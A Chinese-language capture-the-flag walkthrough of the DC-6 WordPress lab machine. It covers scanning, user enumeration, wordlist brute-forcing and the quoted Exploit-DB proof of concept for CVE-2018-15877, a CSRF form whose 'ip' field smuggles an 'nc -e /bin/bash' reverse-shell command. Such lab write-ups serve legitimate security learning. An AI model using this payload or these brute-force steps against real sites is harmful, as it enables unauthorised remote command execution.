DC-6 渗透测试

冲冲冲，好好学习。收获总结写在文末。

操作机：kali 172.66.66.129

靶机：DC-4 172.66.66.136

网络模式：NAT

上来一波 netdiscover

靶机ip 172.66.66.136

nmap -sV -A -p- 172.66.66.136 -oN /tmp/dc-6.nmap

开了22 80，dirb http://wordy/

80访问不了，需要配置域名解析，windows下在C:\Windows\System32\drivers\etc

kali里改一下/etc/hosts ，加一行 172.66.66.136 wordy

多么亲切的cms--WordPress ，wpscan 用一下可以枚举用户名，cewl收集密码（看一下网站的内容就知道这收集的密码可能不靠谱）

cewl http://wordy/ -w /tmp/dc-6.txt收集密码

wpscan --url http://wordy/ -e u 枚举用户

admin 、mark 、graham 、jens 、sarah5个账号名

用户密码爆破

wpscan --url http://wordy/ -e u -P /tmp/dc-6.txt

失败，欺负我没字典？还记得kali里的密码集在那个目录吗？ /usr/share/wordlists 找个字典用一下。rockyou.txt.gz 解压这个出来用

论字典的重要性…看了下官方给的提示

最终密码里会有k01字符，把包含该字段的密码分离出来。

账号密码mark : helpdesk01

可能有疑问：我怎么知道它哪有漏洞可以用呢？

不知道就去找呗，看到啥都百度一下 XXX poc，总能找到。

5.1.1版本没有能用的。看到用了插件 activity monitor

searchsploit activity monitor 看到了45274.html

<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)

Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list

Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.

References:
===========
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/

PoC:
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

构造一个请求，让给出的poc是拿到一个反弹shell。这个html需要想办法经过服务器解析之后执行才能生效。kali里开一下服务器执行行就可以了。

python -m SimpleHTTPServer 9898